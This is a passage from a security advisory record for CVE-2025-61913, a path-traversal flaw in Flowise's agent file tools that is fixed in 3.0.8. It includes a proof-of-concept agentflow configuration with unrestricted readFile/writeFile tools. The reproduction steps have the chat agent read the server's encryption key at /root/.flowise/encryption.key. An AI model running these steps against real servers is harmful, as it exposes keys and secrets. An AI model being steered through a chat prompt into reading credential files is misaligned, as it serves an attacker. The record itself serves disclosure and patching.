\"agentSelectedToolRequiresHumanInput\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentTools-array\",\n \"display\": true\n },\n {\n \"label\": \"Knowledge (Document Stores)\",\n \"name\": \"agentKnowledgeDocumentStores\",\n \"type\": \"array\",\n \"description\": \"Give your agent context about different document sources. Document stores must be upserted in advance.\",\n \"array\": [\n {\n \"label\": \"Document Store\",\n \"name\": \"documentStore\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listStores\"\n },\n {\n \"label\": \"Describe Knowledge\",\n \"name\": \"docStoreDescription\",\n \"type\": \"string\",\n \"generateDocStoreDescription\": true,\n \"placeholder\": \"Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information\",\n \"rows\": 4\n },\n {\n \"label\": \"Return Source Documents\",\n \"name\": \"returnSourceDocuments\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentKnowledgeDocumentStores-array\",\n \"display\": true\n },\n {\n \"label\": \"Knowledge (Vector Embeddings)\",\n \"name\": \"agentKnowledgeVSEmbeddings\",\n \"type\": \"array\",\n \"description\": \"Give your agent context about different document sources from existing vector stores and embeddings\",\n \"array\": [\n {\n \"label\": \"Vector Store\",\n \"name\": \"vectorStore\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listVectorStores\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Embedding Model\",\n \"name\": \"embeddingModel\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listEmbeddings\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Knowledge Name\",\n \"name\": \"knowledgeName\",\n \"type\": \"string\",\n \"placeholder\": \"A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information\"\n },\n {\n \"label\": \"Describe Knowledge\",\n \"name\": \"knowledgeDescription\",\n \"type\": \"string\",\n \"placeholder\": \"Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information\",\n \"rows\": 4\n },\n {\n \"label\": \"Return Source Documents\",\n \"name\": \"returnSourceDocuments\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentKnowledgeVSEmbeddings-array\",\n \"display\": true\n },\n {\n \"label\": \"Enable Memory\",\n \"name\": \"agentEnableMemory\",\n \"type\": \"boolean\",\n \"description\": \"Enable memory for the conversation thread\",\n \"default\": true,\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentEnableMemory-boolean\",\n \"display\": true\n },\n {\n \"label\": \"Memory Type\",\n \"name\": \"agentMemoryType\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"All Messages\",\n \"name\": \"allMessages\",\n \"description\": \"Retrieve all messages from the conversation\"\n },\n {\n \"label\": \"Window Size\",\n \"name\": \"windowSize\",\n \"description\": \"Uses a fixed window size to surface the last N messages\"\n },\n {\n \"label\": \"Conversation Summary\",\n \"name\": \"conversationSummary\",\n \"description\": \"Summarizes the whole conversation\"\n },\n {\n \"label\": \"Conversation Summary Buffer\",\n \"name\": \"conversationSummaryBuffer\",\n \"description\": \"Summarize conversations once token limit is reached. Default to 2000\"\n }\n ],\n \"optional\": true,\n \"default\": \"allMessages\",\n \"show\": {\n \"agentEnableMemory\": true\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryType-options\",\n \"display\": false\n },\n {\n \"label\": \"Window Size\",\n \"name\": \"agentMemoryWindowSize\",\n \"type\": \"number\",\n \"default\": \"20\",\n \"description\": \"Uses a fixed window size to surface the last N messages\",\n \"show\": {\n \"agentMemoryType\": \"windowSize\"\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryWindowSize-number\",\n \"display\": false\n },\n {\n \"label\": \"Max Token Limit\",\n \"name\": \"agentMemoryMaxTokenLimit\",\n \"type\": \"number\",\n \"default\": \"2000\",\n \"description\": \"Summarize conversations once token limit is reached. Default to 2000\",\n \"show\": {\n \"agentMemoryType\": \"conversationSummaryBuffer\"\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryMaxTokenLimit-number\",\n \"display\": false\n },\n {\n \"label\": \"Input Message\",\n \"name\": \"agentUserMessage\",\n \"type\": \"string\",\n \"description\": \"Add an input message as user message at the end of the conversation\",\n \"rows\": 4,\n \"optional\": true,\n \"acceptVariable\": true,\n \"show\": {\n \"agentEnableMemory\": true\n },\n \"id\": \"agentAgentflow_0-input-agentUserMessage-string\",\n \"display\": false\n },\n {\n \"label\": \"Return Response As\",\n \"name\": \"agentReturnResponseAs\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"User Message\",\n \"name\": \"userMessage\"\n },\n {\n \"label\": \"Assistant Message\",\n \"name\": \"assistantMessage\"\n }\n ],\n \"default\": \"userMessage\",\n \"id\": \"agentAgentflow_0-input-agentReturnResponseAs-options\",\n \"display\": true\n },\n {\n \"label\": \"Update Flow State\",\n \"name\": \"agentUpdateState\",\n \"description\": \"Update runtime state during the execution of the workflow\",\n \"type\": \"array\",\n \"optional\": true,\n \"acceptVariable\": true,\n \"array\": [\n {\n \"label\": \"Key\",\n \"name\": \"key\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listRuntimeStateKeys\",\n \"freeSolo\": true\n },\n {\n \"label\": \"Value\",\n \"name\": \"value\",\n \"type\": \"string\",\n \"acceptVariable\": true,\n \"acceptNodeOutputAsVariable\": true\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentUpdateState-array\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"agentModel\": \"chatOpenRouter\",\n \"agentMessages\": [\n {\n \"role\": \"\",\n \"content\": \"<p><span class=\\\"variable\\\" data-type=\\\"mention\\\" data-id=\\\"question\\\" data-label=\\\"question\\\">{{ question }}</span> </p>\"\n }\n ],\n \"agentTools\": [\n {\n \"agentSelectedTool\": \"readFile\",\n \"agentSelectedToolRequiresHumanInput\": \"\",\n \"agentSelectedToolConfig\": {\n \"basePath\": \"/\",\n \"agentSelectedTool\": \"readFile\"\n }\n },\n {\n \"agentSelectedTool\": \"writeFile\",\n \"agentSelectedToolRequiresHumanInput\": \"\",\n \"agentSelectedToolConfig\": {\n \"basePath\": \"/\",\n \"agentSelectedTool\": \"writeFile\"\n }\n }\n ],\n \"agentKnowledgeDocumentStores\": \"\",\n \"agentKnowledgeVSEmbeddings\": \"\",\n \"agentEnableMemory\": false,\n \"agentReturnResponseAs\": \"userMessage\",\n \"agentUpdateState\": \"\",\n \"undefined\": \"\",\n \"agentModelConfig\": {\n \"cache\": \"\",\n \"modelName\": \"qwen/qwen3-30b-a3b\",\n \"temperature\": 0.9,\n \"streaming\": true,\n \"maxTokens\": \"\",\n \"topP\": \"\",\n \"frequencyPenalty\": \"\",\n \"presencePenalty\": \"\",\n \"timeout\": \"\",\n \"basepath\": \"https://openrouter.ai/api/v1\",\n \"baseOptions\": \"\",\n \"agentModel\": \"chatOpenRouter\"\n }\n },\n \"outputAnchors\": [\n {\n \"id\": \"agentAgentflow_0-output-agentAgentflow\",\n \"label\": \"Agent\",\n \"name\": \"agentAgentflow\"\n }\n ],\n \"outputs\": {},\n \"selected\": false\n },\n \"type\": \"agentFlow\",\n \"width\": 232,\n \"height\": 100,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": -63.5,\n \"y\": 89.125\n },\n \"dragging\": false\n }\n ],\n \"edges\": [\n {\n \"source\": \"startAgentflow_0\",\n \"sourceHandle\": \"startAgentflow_0-output-startAgentflow\",\n \"target\": \"agentAgentflow_0\",\n \"targetHandle\": \"agentAgentflow_0\",\n \"data\": {\n \"sourceColor\": \"#7EE787\",\n \"targetColor\": \"#4DD0E1\",\n \"isHumanInput\": false\n },\n \"type\": \"agentFlow\",\n \"id\": \"startAgentflow_0-startAgentflow_0-output-startAgentflow-agentAgentflow_0-agentAgentflow_0\"\n },\n {\n \"source\": \"agentAgentflow_0\",\n \"sourceHandle\": \"agentAgentflow_0-output-agentAgentflow\",\n \"target\": \"directReplyAgentflow_0\",\n \"targetHandle\": \"directReplyAgentflow_0\",\n \"data\": {\n \"sourceColor\": \"#4DD0E1\",\n \"targetColor\": \"#4DDBBB\",\n \"isHumanInput\": false\n },\n \"type\": \"agentFlow\",\n \"id\": \"agentAgentflow_0-agentAgentflow_0-output-agentAgentflow-directReplyAgentflow_0-directReplyAgentflow_0\"\n }\n ]\n}\n```\n\n\n\n5. Click on \"AgentFlows\" on the left, then click \"Add New\" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select \"Load Agents,\" choose the agent.json file, and after successful import, view three connected nodes.\n6. Double-click the middle \"Agent 0\" node, click \"ChatOpenRouter Parameters,\" then \"Connect Credential,\" and select \"Create New.\" Enter a valid OpenRouter API Key. Alternatively, click \"Model\" to choose another LLM provider. Once done, click the save button in the upper right corner.\n7. After saving, click the purple chat button in the upper right corner and enter: \"Read file content of /root/.flowise/encryption.key.\" Once the call is complete, click the expand button next to \"Agent 0\" in the \"Process Flow\" dropdown menu. The file content will be displayed in the \"Output\" section below.\n\n### Impact\n\nAuthenticated attackers can exploit this vulnerability to steal sensitive information such as encryption keys, databases, and environment variables from the server, potentially leading to remote command execution.\n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-j44m-5v8f-gc9c"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jv9m-vf54-chjj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61913"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/1fb12cd93143592a18995f63b781d25b354d48a3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-10T22:55:09Z",
"nvd_published_at" : null
}
}